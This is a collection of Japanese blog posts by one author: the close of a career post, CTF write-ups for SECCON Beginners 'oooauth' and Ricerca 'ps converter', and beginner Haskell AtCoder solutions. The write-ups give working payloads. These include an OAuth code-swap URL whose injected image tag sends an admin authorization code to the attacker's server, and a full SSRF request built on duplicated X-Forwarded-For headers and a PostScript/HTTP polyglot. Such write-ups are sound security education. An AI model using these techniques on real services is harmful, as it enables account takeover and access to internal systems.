プロダクトセキュリティの文脈では「開発スピードとセキュリティの両立」がしばしば語られますが、スピードを重要視しているのは Shisho Cloud の開発も同じです。競合製品がメキメキと成長しているこのレッドオーシャンで我々は生き抜かねばなりませんが、一方でそのためにセキュリティを犠牲にするという選択肢は毛頭ありません。このような厳しい環境であっても開発サイクルに伴走してセキュリティを担保し続けることができれば、そのプラクティスは世の中の多くの開発組織でも通用するはずです。
Flatt Security の Shisho Cloud とプロフェッショナルサービスはともに、今大きな転換期にあります。これまではセキュリティの課題を解決する手段の提供に注力してきましたが、これからは個々の手段にとどまらず、そもそも何を守るべきか・なぜ守るべきか・どれほど守れているかなどを、直感ではなく検証可能な事実に基づいて説明できるためのプラットフォームと専門集団へと進化していきます。
Shisho Cloud はお客様のプロダクトを構成する様々なコンポーネントの情報を集約し、これらの疑問に論理立てて答えるためのプラットフォームへと再設計されます。プロフェッショナルサービスはこの集約された情報をもとに、重点的に守るべきものを合理的に判断し、守るための効果的な手段を提案することができます。その手段はこれまで提供してきたセキュリティ診断に限らず、例えば Shisho Cloud 上の自動検査として実現できるものもあるでしょう。そしてセキュリティ診断で報告したリスクは PDF の報告書に綴じるのみならず、「何がどれほど守られていたか」というデータとしてまた Shisho Cloud に集約される姿を目指します。
Shisho Cloud を活用してプロフェッショナルサービスを進化させ、プロフェッショナルサービスの提供価値を最大化するために Shisho Cloud を進化させようとしているこのフェーズにおいて、セキュリティ診断と Shisho Cloud 開発の両方を経験してきた者として、この共進化に心血を注いでいきたいと考えています。
おわりに
私の技術力やセキュリティへの情熱を養ってくれた TSG および Flatt Security のみなさまに深く感謝を申し上げます。就職活動を通じて技術やキャリアについて様々なことを学ばせてくださった、他企業のエンジニアや人事のみなさまにも厚く御礼申し上げます。時には切磋琢磨し時には励まし合った友人たち、そして生まれてこのかた私を支え続けてくれた家族にも心から感謝しています。
Flatt Security では調達した資金をもとにプロフェッショナルサービスや Shisho Cloud に投資していくべく、セキュリティエンジニア・ソフトウェアエンジニアなど様々な職種に対し積極的に採用活動をしております。この記事を読んで弊社に興味を持った方や一緒に働きたいと感じた方がいらしたら、ぜひ採用情報ページをご覧ください。中途採用・新卒採用・長期インターンなど様々なステージの方を歓迎しております。特に学生の方は、「就活の時期になったら Flatt Security を検討してみよう」ではなく、今インターンとして Flatt Security の一員となることを私は強く勧めます。それは私がここまで述べてきたように、「Flatt Security の今が面白い」からです。私や頼もしいメンバーたちと共に、ワクワクする Flatt Security の今を形づくり、プロダクトセキュリティの理想へ前進していきましょう。応募するか迷っている段階でも、カジュアル面談でお気軽にご相談ください。
またこの記事を読んでセキュリティに関心を持った東大生の方がいらしたら、ぜひコンピューター系サークル TSG への入部をご検討ください。初心者向けの勉強会が予定されていますし、技術的に困ったことを相談できる優秀な部員たちとの接点にもなります。近い興味を持った仲間との交流をぜひ深めてください。
ここまでお読みくださりありがとうございました。
- ちなみに TSG には難解プログラミング言語でコードゴルフをする文化があり、そのおかげでアセンブリを読むハードルが下がったと思っています。難解プログラミング言語の読み書きを経験していると、アセンブリは読みやすいとすら感じてしまいます。そう、難解プログラミング言語は役に立つのです。↩
- 現在のミッションは「エンジニアの背中を預かる」というフレーズですが、これも開発エンジニアがプロダクト作りそのものに注力できるように Flatt Security がセキュリティ面を支えるというもので、やはり私の考えとの共鳴を感じています。↩
- 振り返ってみると、結局メガベンチャーではなく Flatt Security への入社を決めた後、入社直前に GMO インターネットグループへの参画が決まったので、人生って面白いですね。↩
SECCON Beginners CTF 2023 writeup (oooauth)
SECCON Beginners CTF 2023 にチーム TSG として参加しました。web/hard 問題の oooauth をふぁぼんさんと協力して解いたのですが、作問者さんの想定解とちょっとだけ違ったのでその点について書きます。
ふぁぼんさんの writeup はこちら:
問題の概要
OAuth2 のサーバーとクライアントが与えられます。admin というユーザーの権限を用いて GET <client>/flag のレスポンスを得ることが目標です。
攻撃の概要
攻撃の大まかな流れは作問者さんの想定解とほぼ同一です。ここでは端的な説明に留め、詳細は作問者の yuasa さんによる writeup にお譲りします。
<server>/auth?response_type=code&client_id=oauth-client&scopes=${encodeURIComponent('<img\tsrc="自分のサーバー">')}&redirect_uri=${encodeURIComponent('<client>/callback?error=a')}を手元で開き、guest の未使用認可コードを入手する- ここで scope に仕込んだ
<img\tsrc="自分のサーバー">が、のちに admin の開く画面にインジェクションされる
- ここで scope に仕込んだ
- report 機能を用いて、admin crawler に
<server>/auth?response_type=code&client_id=oauth-client&scopes=hoge&redirect_uri=${encodeURIComponent('<client>/callback?code=さっき手に入れたguestの認可コード&'+Array(999).fill('=1').join('&'))}を開いてもらう <client>/callback?code=リークしたadminの認可コードを手元で開く- admin としてログインできたので
<client>/flagを開くと flag が手に入る
yuasa さんの解法と異なるのは、2. で与えた redirect_uri です。
このパラメータを細工する目的は yuasa さんの解法と同一です。認可コードは一度使用すると無効化されてしまうため、admin crawler がページを開いた段階で admin の認可コードが消費されてしまうのを妨害する必要があります。そのために、admin crawler がページを開いたときに消費する認可コードとして、admin の認可コードではなく攻撃者が redirect_uri に仕込んだ guest の認可コードが選ばれるようにすることを考えます。ただし redirect_uri を単純に <client>/callback?code=GUEST_CODE のようにすると、admin crawler が開くコールバックページは <client>/callback?code=GUEST_CODE&code=ADMIN_CODE となり、token endpoint が code の末尾要素を選ぶ実装になっているために admin の認可コードが消費されてしまいます。そこで、クエリパラメータのパーサーの挙動を利用してこの状況を回避します。ここまでは yuasa さんの解法と同一です。
3 つのパーサーの挙動の違いを利用した認可コードのすり替え
私が使用したクエリパラメータは ?code=GUEST_CODE&=1&=1&...&=1 という形式となっています。これは、express がクエリパラメータのパースに用いる qs ライブラリが、デフォルトで 1001 個目以降のパラメータを無視する仕様を利用したペイロードです。admin crawler が開くコールバックページの URL は <client>/callback?code=GUEST_CODE&=1&=1&...&=1&code=ADMIN_CODE となりますが、大量のダミーパラメータを足したことにより、末尾の code=ADMIN_CODE が無視されてクエリパラメータのパース結果は { "code": "GUEST_CODE" } となります。これにより、admin の認可コードを消費させずに代わりに guest の認可コードを消費させることができます。
ダミーパラメータ &=1 はパラメータ名が空文字列となっていますが、これには意図があります。代わりに &a=1 をダミーパラメータとして使うと、nginx で upstream sent too big header while reading response header from upstream というエラーが発生し、502 Bad Gateway レスポンスが返ります。これは、<server>/approve が返す 302 Found レスポンスの Location ヘッダー <client>/callback?code=GUEST_CODE&a=1...&a=1&code=ADMIN_CODE が長すぎて、nginx の proxy_buffer_size (デフォルトで 4k) を超えてしまうためです。Location ヘッダーを含めたレスポンスヘッダーを 4000 バイトにおさめるには、ダミーパラメータ 1 つあたり3文字以内にする必要があります。
3文字以内に収めるために本解法ではパラメータ名を空にして &=1 を利用しましたが、逆にパラメータ値を空にした &a= をペイロードに使うと、今度は <server>/token で PayloadTooLargeError: too many parameters というエラーが発生します。
ここで起きている事象を説明します。「1001 個目以降のパラメータを無視する」という qs の仕様により &code=ADMIN_TOKEN を無視することはできたのですが、<client>/callback が <server>/token にリクエストする際に、クエリパラメータに &grant_type=authorization_code&redirect_uri=<client>%2Fcallback を追加します。従って <server>/token に送信されるリクエストボディは code=GUEST_TOKEN&a%5B%5D=&...&a%5B%5D=&grant_type=authorization_code&redirect_uri=<client>%2Fcallback となり、パラメータ数は 1002 です。ちなみに server はリクエストボディをパースするのに bodyParser.urlencoded({ extended: true }) を用いています。これは内部的に qs を利用しているのですが、qs を呼び出す前にパラメータ数が多すぎないかどうかを検証しています。具体的には、リクエストボディに出現する & を数え、1000 を超える場合には例外を投げます。先程の PayloadTooLargeError: too many parameters エラーはこれが原因です。
// body-parser/lib/types/urlencoded.js#L147-L154
var paramCount = parameterCount(body, parameterLimit)
if (paramCount === undefined) {
debug('too many parameters')
throw createError(413, 'too many parameters', {
type: 'parameters.too.many'
})
}
Satoooon さんの writeup では、redirect_uri 中のクエリパラメータにあらかじめ grant_type 及び redirect_uri パラメータを入れておくことにより、前述したパラメータ数の増加を防いでいます。なるほど確かに 😇
話を戻すと、本解法で用いた &=1 は、この制約を突破することができます。これについて、callback のクエリパラメータが処理される過程に沿って説明します。
まず <server>/approve において、攻撃者が与えた redirect_uri が new URL を用いてパースされます。クエリパラメータのパースには組み込みの URLSearchParams が用いられます。?code=GUEST_CODE&=1&=1&...&=1 をパースした結果は URLSearchParams { 'code' => 'GUEST_CODE', '' => '1', '' => '1', ... } となります。これに対し server は admin の認可コードを .append し、redirectUrl.searchParams は URLSearchParams { 'code' => 'GUEST_CODE', '' => '1', '' => '1', ..., 'code' => 'ADMIN_CODE' } となります。その結果、admin crawler は <client>/callback?code=GUEST_CODE&=1&...&=1&code=ADMIN_CODE にリダイレクトされます。
次に <client>/callback の処理を考えます。client は qs ライブラリを用いてクエリパラメータをパースし、params 変数に格納します。これはリクエストボディではなく URL 中のクエリパラメータなので、パースに用いられるのは前述の body-parser ではなく、express/lib/middleware/query.js です。このミドルウェアは body-parser と違いパラメータの個数チェックをせず、そのまま qs ライブラリを呼び出します。そのため、<client>/callback では too many parameters エラーが発生しません。
話を戻すと、params 変数に格納されたパース結果は { "code": "GUEST_CODE" } となります。1001 個目以降のパラメータを無視する qs の仕様により、末尾の code=ADMIN_CODE が無視されます。また、qs はパラメータ名が空文字列になっているものを無視するので、ダミーパラメータ &=1 も無視されます。この params に grant_type と redirect_uri を追加した結果、 <server>/token に送信されるリクエストボディは code=GUEST_CODE&grant_type=authorization_code&redirect_uri=<client>%2Fcallback となります。このパラメータ数は 3 なので、<server>/token では too many parameters エラーが発生せず、guest の認可コードを消費させることができます。
ちなみに、ダミーパラメータとして &=&=&=... を使うことも可能です。一方で、&&&... では攻撃が成立しませんでした。&&&... のような空のパラメータは URLSearchParams に無視されてしまうため、<server>/approve でリダイレクト先を生成する時点でダミーパラメータが除去されてしまい、<client>/callback?code=GUEST_CODE&code=ADMIN_CODE にリダイレクトされてしまうのです。
というわけで、3 種類のクエリパラメータパーサー (URLSearchParams, express/lib/middleware/query.js , body-parser) の挙動の差異を利用することで、admin の認可コードの代わりに guest の認可コードを消費させることができました。
おわりに
非常に面白い問題でした。個々の脆弱性単体ではフラグを取れそうにないのにも関わらず、うまく組み合わせると見事に解けるところが美しいと思っています。
- CSRF 対策がないけど、crawler に guest としてログインさせたところで何ができる?
- HTML エスケープしてないけど、CSP のせいで XSS できない
- Referer から認可コードを取得できたけど、リクエストが来た時点で認可コードが使用済み
- コールバック画面をエラーにすれば認可コードが消費されないが、エラー画面では HTML injection もできない
こんな感じだったのでずっとウンウン唸っていたのですが、なんとか解けてよかったです。
また、想定解 code[2]=guest-code&code=hoge&code=admin-code を見てびっくりしました。 code[2]=guest-code&code[0]=hoge&code=admin-code とかは試したんですが…。qs ソースコード読み力が足りていませんでした 😔
ちなみに、server で access_tokens 変数が Map 型なのに access_tokens[access_token_value] のようにプロパティアクセスをしているとか、client/views/index.ejs が使っている jQuery と Bootstrap のバージョンがかなり古くて既知の脆弱性が色々あるとかも気になったんですが、うまく攻撃に繋げられませんでした。他の方の writeup を楽しみにしています。
Ricerca CTF 2023 writeup (ps converter)
Ricerca CTF 2023 にチーム TSG として参加しました。全チーム中 10 位で、また賞金獲得条件を満たす国内の学生チーム1の中では 1 位となりました。
私は主に Web の問題を解いていました。そのうち ps converter の writeup を書いていきます。
ps converter
概要
backend の handleRoot は、X-Forwarded-For ヘッダーの末尾の IP アドレス2に TCP 接続して script を送信します。実は handleRoot が読み取る X-Forwarded-For ヘッダーを自由に変えることができるので、SSRF ができます。そこでこの値を 123.45.67.102 (backend) にすると、handleRoot は本来 frontend:3000 にある ps2pdf daemon に対して script を送信するはずが、backend:3000 に送信してしまいます。
http://backend:3000/admin に (一定の条件のもとで) フラグを返すエンドポイントがあるので、 SSRF で送信される script を /admin への HTTP リクエストとすることで、フラグが得られます。ただし handleRoot は script を ps2pdf daemon に送信する前に、file コマンドと ps2ps コマンドを用いて、script が PostScript ファイルであることを検証します。従って、script を PostScript と HTTP リクエストの polyglot にする必要があります。
X-Forwarded-For ヘッダーの偽装
特に細工をせず http://frontend:5000/converter にリクエストすると、proxy が X-Forwarded-For: 123.45.67.100 というヘッダーを付与するため、script は 123.45.67.100 (frontend) に送信されます。
クライアントからのリクエストに X-Forwarded-For: XXXXXXXX をつけておくと、proxy はその末尾に frontend の IP アドレスを追記します。従って backend が受け取る HTTP リクエストでは X-Forwarded-For: XXXXXXXX, 123.45.67.100 となっており、SSRF の送信先となる末尾の IP アドレスは相変わらず 123.45.67.100 です。
実は、クライアントからのリクエストに X-Forwarded-For ヘッダーを複数つけておくと、backend の handleRoot で req.Header.Get("X-Forwarded-For") した結果は 1 個目の X-Forwarded-For ヘッダーとなり、proxy による追記を受けません。これによって、backend が読み取る X-Forwarded-For ヘッダーを任意の値にすることができます。
この原理を説明します。
クライアントは X-Forwarded-For ヘッダーを 2 つつけたリクエストを送信します:
X-Forwarded-For: XXXXXXXX X-Forwarded-For: YYYYYYYY
すると、proxy は 2 つ目の X-Forwarded-For ヘッダーに frontend の IP アドレスを追記します:
X-Forwarded-For: XXXXXXXX X-Forwarded-For: YYYYYYYY, 123.45.67.100
(同名のヘッダーが複数ある場合、そのヘッダーの combined field value は個々の header value を上から順にカンマで join したリストです (RFC 9110)。したがって、リストの末尾に追記する意図で proxy が一番下の X-Forwarded-For ヘッダーの末尾に IP アドレスを追記する、という挙動はまっとうなものです。)
backend の handleRoot は req.Header.Get("X-Forwarded-For") というコードで X-Forwarded-For ヘッダーの値を取得しますが、req.Header.Get は重複するヘッダーが複数ある場合に先頭の値、今回の場合は "XXXXXXXX" を返します。従って XXXXXXXX を適当に差し替えることで、handleRoot が読み取る X-Forwarded-For ヘッダーを任意の値にすることができます。
余談: ボツ方針
ちなみに、X-Forwarded-For ヘッダーが 1 個もない HTTP リクエストを backend に届けることができれば、それでも backend への SSRF ができます。
X-Forwarded-For ヘッダーをどうにか除去できないかと proxy 周りを眺めたのですが、結局除去方法が思いつかなかったのでこの方針は使いませんでした。
X-Forwarded-For ヘッダーを除去できた仮定のもとで、backend にリクエストが飛ぶ原理は次の通りです。
handleRoot でリクエストを処理する際、X-Forwarded-For ヘッダーがないのでx_forwarded_for := req.Header.Get("X-Forwarded-For") はゼロ値 "" となります。
すると、 ips := strings.Split(x_forwarded_for, ", ") は []string{""} となります。Go のドキュメントによれば、strings.Split を使って空文字列を split すると、結果は空のスライスではなく[]string{""} となるようです。個人的には、空のスライスを期待するのですが。
If s does not contain sep and sep is not empty, Split returns a slice of length 1 whose only element is s.
https://pkg.go.dev/strings#Split
従って、ps2pdf := ips[len(ips)-1] は "" となります (strings.Split の謎仕様のおかげで index out of range が発生せずに済みます)。
すると tcp_addr, err := net.ResolveTCPAddr("tcp", ps2pdf+":3000") は ":3000" のパース結果、つまり &net.TCPAddr{IP:net.IP(nil), Port:3000, Zone:""} となります。
このアドレスに DialTCP するとローカルに飛んでくるので、backend から backend への TCP 通信となります。
If the IP field of raddr is nil or an unspecified IP address, the local system is assumed.
https://pkg.go.dev/net#DialTCP
PostScript と HTTP の polyglot
作成した script はこちらです。
%! /admin HTTP/1.1 %a:a ( Host: backend:3000 Client-Ip: 127.0.0.1 a: )
要件
SSRF を利用してフラグを得るために、script が以下の要件を満たすようにします。
fileコマンドの実行結果にPostScript document textが含まれるようにするps2psコマンドに与えてもエラーを起こさない/adminへの HTTP リクエストとして解釈でき、Client-Ip: 127.0.0.1ヘッダーを持つ
Polyglot を組み立てる
どのようにして上記の polyglot を構成したのかを、順を追って説明します。
まず file コマンドに PostScript document text を出させる方法を調べました。file コマンドのソースコードを雑に grep すると、magic/Magdir/printer がヒットします。これはファイル種別を認識するための magic number が記載されているファイルで、ファイルの記法は man magic にて説明されています。
8 行目の記述から、ファイルの先頭が %! であれば PostScript document text と認識されることがわかります。
0 string %! PostScript document text
このファイルを読み進めると、他にも \004%! で始まるファイルや \033%-12345X@PJL で始まり途中に %! があるファイルでもよいことがわかりますが、制御文字が入ると余計しんどくなりそうなので %! でファイルを始めることにします。
今度は HTTP の視点で見てみます。%! で HTTP リクエストを開始しなければならないので面食らいますが、実は RFC 9110, RFC 9112 を読むと、メソッドには結構色々な記号を使えることがわかります。
method = token
token = 1*tchar
tchar = "!" / "#" / "$" / "%" / "&" / "'" / "*"
/ "+" / "-" / "." / "^" / "_" / "`" / "|" / "~"
/ DIGIT / ALPHA
というわけで、実は %! は HTTP メソッドになることができます。handleAdmin にはメソッドをチェックしている箇所がないので、%! メソッドでリクエストができるはずです。では、/admin への %! メソッドリクエストを書いてみます。ただしフラグを得るために Client-Ip: 127.0.0.1 ヘッダーが必要なので、それもつけておきます。
%! /admin HTTP/1.1 Host: backend:3000 Client-Ip: 127.0.0.1
さて、これをどうにか PostScript として解釈できるようにしましょう。ちなみにこの問題を解くまで PostScript を書いたことはなく、資料を見ながら色々試行錯誤しました。
PostScript におけるコメントは % から行末までです。従って、1 行目はコメントとして無視されます。複数行コメントの記法はないようですが、文字列リテラル (...) は複数行にまたがることができます。従って、次のように残り部分を丸括弧で囲えば ps2ps チェックに成功します。
%! /admin HTTP/1.1 ( Host: backend:3000 Client-Ip: 127.0.0.1 )
ですが、このままでは HTTP リクエストの構文を満たしません。閉じ括弧の方は適当に Foo: ) としてやれば良いのですが、開き括弧が厄介です。RFC 9110 において、ヘッダー名は次のように定義されています。
field-name = token
前掲した token の定義と合わせると、開き括弧が field-name に出現することはできないとわかります。そこで Foo: ( のように括弧を field-value の中に書いてやれば HTTP の構文を満たすのですが、今度は ps2ps チェックに引っかかるようになります。いま、未完成の polyglot は次のようになっています。
%! /admin HTTP/1.1 Foo: ( Host: backend:3000 Client-Ip: 127.0.0.1 Foo: )
これを PostScript として解釈すると Foo: (文字列) というコードになっていますが、Foo: という識別子が定義されていないのでエラーが発生します。識別子を定義するには /Foo: 0 def などと書いておけば良いのですが、今度は HTTP リクエストの構文を満たさなくなります。field-name には / が出現することもできないので、field-name を用意して / を field-value に追いやる必要があります。ですがそもそも Foo: を定義したくなったのは ( が field-name に出現できないから field-value に追いやりたい、というものでした。これでは堂々巡りです。
PostScript で定義済みの識別子を使って field-name を構成できれば良さそうな気もしますが、これもうまくいきません。HTTP ヘッダーとしては field-name の直後に : を書く必要があるのですが、PostScript において : はアルファベットと同様に識別子に使うことができる普通の文字なので、field-name: 全体が一つの識別子としてパースされます。PostScript の定義済みの識別子の中にコロンを含むものはおそらくないでしょう。
% は field-name に含めることができるので、 newpath%: のようにしてコロンを無視することはできます。しかしそうすると field-value 部分もコメントアウトされてしまうので、肝心の ( を導入することができません。
PostScript における特殊文字は ()<>[]{}/% なのですが、このうち field-name に出現できるのは % のみです。頼みの綱の % ですが、PostScript のコメントも HTTP のヘッダーも行単位で解釈されるので、まさに「あちらを立てればこちらが立たず」という状態でした。CR・LF の解釈で差を生んでくれないかとかも試しましたが、ダメでした。
突破口となったのは、HTTP の Obsolete Line Folding です。これは、スペースから始まる行が新しいヘッダーではなく前の行の field-value の続きであると解釈される仕様です。つまり、「PostScript におけるコメントを脱出するが、HTTP における field-value を脱出しない」ことができます。
そうして出来上がったのが冒頭のペイロードです。
%! /admin HTTP/1.1 %a:a ( Host: backend:3000 Client-Ip: 127.0.0.1 a: )
2行目は PostScript のコメントであり、HTTP ヘッダー %a でもあります。3行目は PostScript における文字列リテラルの開始ですが、HTTP としては Obsolete Line Folding により 2 行目 の field-value の続きと解釈されます。その後は PostScript としては文字列リテラル、HTTP としてはヘッダーの羅列となっています。これで polyglot の完成です。
あとはこの script を http://frontend:5000/converter にアップロードするようなリクエストを投げればフラグが得られます。
Request:
POST /converter HTTP/1.1
Host: ps-converter.2023.ricercactf.com:51514
X-Forwarded-For: backend
X-Forwarded-For: 0.0.0.0
Content-Type: multipart/form-data; boundary=---------------------------386748468817694655632698534101
Content-Length: 314
-----------------------------386748468817694655632698534101
Content-Disposition: form-data; name="file"; filename="payload.ps"
Content-Type: application/postscript
%! /admin HTTP/1.1
%a:a
(
Host: backend:3000
Client-Ip: 127.0.0.1
a: )
-----------------------------386748468817694655632698534101--
Response:
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 24 Apr 2023 08:28:12 GMT
Content-Type: application/pdf
Content-Length: 128
Connection: keep-alive
Age: 0
HTTP/1.1 200 OK
Content-Type: text/plain
Date: Mon, 24 Apr 2023 08:28:12 GMT
Content-Length: 26
RicSec{0mg_It_d035nt_l00k_anyth1n9_f6b0c427d3e2}
本来は ps2pdf の結果をレスポンスボディとして返すエンドポイントなので、レスポンスボディが HTTP レスポンスになっている入れ子構造になっていますね。
別解
apolloteapot さんの writeup を読んだところ、なんと quit という命令を使うことで早々に PostScript の評価を終わらせることができたようです。
%!GET /admin HTTP/1.1 quit%: dummy Host: backend Client-Ip: 127.0.0.1
私も「quit 的な命令があればいけるかも」というのは思いついていたのですが、ググり力が足りず quit 命令の存在には気づけませんでした。exit とか試して「これじゃないな〜」とか言ってました。まあおかげで HTTP ヘッダーの仕様に詳しくなったのでよしとします。
余興
文字列リテラルで polyglot を作るとシンタックスハイライトしたときにあんまり美しくないと思ったので、文字列リテラルを使わないペイロードも考えてみました。
%! /admin HTTP/1.1
%a:a
/Client-Ip: {} def
/127.0.0.1 {} def
/Host: {} def
/backend:3000 {} def
Host: backend:3000
Client-Ip: 127.0.0.1
まあ、出てくる識別子を全部定義するだけです。Obsolete Line Folding が強すぎて割となんでも書けてしまいます。ところで 127.0.0.1 という名前のマクロを定義できるのはちょっとびっくりです。
おわりに
冒頭にも書きましたが、国内の学生チームの中で 1 位を取れたことを嬉しく思います。もちろんこれは私の力で達成したことではなく、他の問題を解いてくれたチームメイトのおかげです。
思い返すと、私が CTF を始めたきっかけは、私が大学 1 年のときに TSG が SECCON で優勝し、「CTF にめちゃくちゃ強いチームが私のすぐそばにあるのか。せっかくだから教えを請おう」と思ったことでした。大会や「1 位」の基準は違うものの、「TSG が CTF で 1 位をとる」という記録に今度はプレイヤーとして貢献できたのがとても感慨深いです。これがまた誰かの CTF を始めるきっかけになっていたとしたら、嬉しく思います。このような機会を用意してくださった運営や作問者のみなさま、ありがとうございました。
最後に宣伝で恐縮ですが、東大の学生で CTF に興味がある方はぜひ TSG に入部してください。S セメスターでは初心者向けの CTF 勉強会を予定しているので、今が始めどきです。お待ちしています。
AtCoder Beginners SelectionをHaskellで解く (2) ABC081A - Placing Marbles
「AtCoder Beginners SelectionをHaskellで解く(1) ABC086A - Product - ねこも手を借りたい」の続編です。AtCoder Beginners Selections (ABS) をHaskellで解きます。 pizzacat83.hatenablog.com
普通に解くよりちょっと変なルール追加した方が楽しい気がしたので,コードの一部をポイントフリースタイルで書く,というルールを追加して解きます。詳しくは上の記事をご参照ください。
今回はABS 2問目の ABC081A - Placing Marbles を解きます。
解く
解きます。
f s = length $ filter ('1'==) s main = do s <- getLine putStrLn $ show $ f s
文字列を [Char] とみてfilterをかけ,残った要素数を出力します。
余談ですがこの問題はifを3つ書く,ifを8つ書く,2進数と解釈してboolのリストに要素アクセスするなどいろいろな解法が考えられるので,ゴルフの問題としては面白そうだと思いました。
ポイントフリー化
変形していきます。
f s = length $ filter ('1'==) s f s = length (filter ('1'==) s) f s = length . (filter ('1'==)) s f = length . filter ('1'==)
かなりシンプルなコードだったので,合成に書き換えるだけでできます。
つづく(といいな)
AtCoder Beginners SelectionをHaskellで解く(1) ABC086A - Product
最近なんとなく私は関数型言語が好きなのではないか!という根拠のない直感に従ってHaskellを始めました。始めると言ってもHaskellで作りたいものが特にあるというわけでもないので,AtCoder Beginners Selection (ABS) をとりあえず埋めてみようと思います。先に言っておくとABSをHaskellで埋めてる人は私以外にもたくさんいるので,もし参考にするものを探しているのであれば他のHaskell上級者さんのブログをあたった方がいいかもしれません。
追加ルール
で,まあ普通に埋めてもよかったんですが,ちょっと変なルール追加した方が面白い気がしたので,単にACするだけでなく,以下のルールを追加します。
- 関数をポイントフリースタイルで定義する。
コードゴルフとかでもよかったんですが,ゴルフはもう少しHaskellに習熟してからやった方が楽しいと思うので今回はパスしました。
具体的にはこんな感じのルールです。他人と競ってるわけではないのでふわっとしています。私が合法だと思ったら合法なのだ。
main関数では,入力をパースして変数に代入し,関数fを適用した結果を出力する。- 入力を空白で区切る,数値型に変換するなど,入力文字列から適切なデータ構造への変換はしてよい。
fを適用した結果を文字列型に変換,などもmain関数内で行ってよい。fはポイントフリースタイル,つまり仮引数を用いずに定義しなければならない。
要は計算の本質パートをポイントフリースタイルで書こう,という感じです。ふわふわ。今後解き進めていくにあたって私に都合よくルールが少しずつ変化していくと思われます。
解答
今回解く問題はABS 1問目の ABC086A - Productです。簡単に言うと与えられた整数A, Bの積の偶奇判定をします。
とりあえず出来上がったコードがこちらです。
import Data.Bool f = (bool "Even" "Odd".).(odd.).(*) main = do [a, b] <- (map read . words) <$> getLine putStrLn $ f a b
やりたいことの雰囲気が掴めたかと思います。
解く
とりあえず普通に解きます。
f a b = if odd (a * b) then "Odd" else "Even"
しょっぱなから大問題発生です。if-elseはどうやったらポイントフリーにできるのか。そもそもifは関数じゃないし………。そこで「haskell if point free」とかでググると bool というif-elseと等価な関数の存在を知ります。これを使うと,
f a b = bool "Even" "Odd" $ odd (a * b)
というなんとかなりそうな形になります。うるさいことを言うと, bool は非ポイントフリースタイルで実装されているので,これを使って f をポイントフリースタイルにするのはルール上どうなんだ,と思いましたがまあ誰かと競ってるわけじゃないのでこれは合法ということにしちゃいます。もう少しHaskell力が上がってこれをどうにかできるようになったら再挑戦してみるかもしれません。
ここからはゴリゴリ変形していきます。気合で仮引数を右へ右へと動かしていって関数合成の形になったらすかさず . 演算子,という感じでやるとできます。
f a b = bool "Even" "Odd" $ odd (a * b) f a b = bool "Even" "Odd" $ odd ((a *) b) f a b = bool "Even" "Odd" $ (odd.(a *)) b f a b = bool "Even" "Odd" $ (odd.((*)a)) b f a b = bool "Even" "Odd" $ ((odd.).(*))a b f a b = (bool "Even" "Odd").(((odd.).(*))a)$ b f a b = ((bool "Even" "Odd").)(((odd.).(*))a)$ b f a b = (((bool "Even" "Odd").).((odd.).(*))) a b f = (((bool "Even" "Odd").).((odd.).(*))) f = (bool "Even" "Odd".).(odd.).(*)
完成!🎉🎉🎉
途中で括弧が多くなってきて,どれがどれに対応するのかわからなくなってくるので,これだけのためにVSCodeの対応する括弧に色をつける拡張機能を入れました。
関数合成は結合法則が成り立つので,最後は結構カッコが外れます。最後じゃなくて途中で外していってもよかったかもしれません。
元のコードを知っているというのもあるとは思いますが,これくらい簡単な処理であればポイントフリースタイルでも挙動を頭の中で追える気がします。
というわけで「AtCoder Beginners SelectionをHaskellで解く」第1回, ABC086A - Productでした。これは今後も続くのでしょうか。続けられるのでしょうか。まあいけるところまで頑張ります。ポイントフリースタイルがキツくなってきたら普通に解こうと思います。
つづく
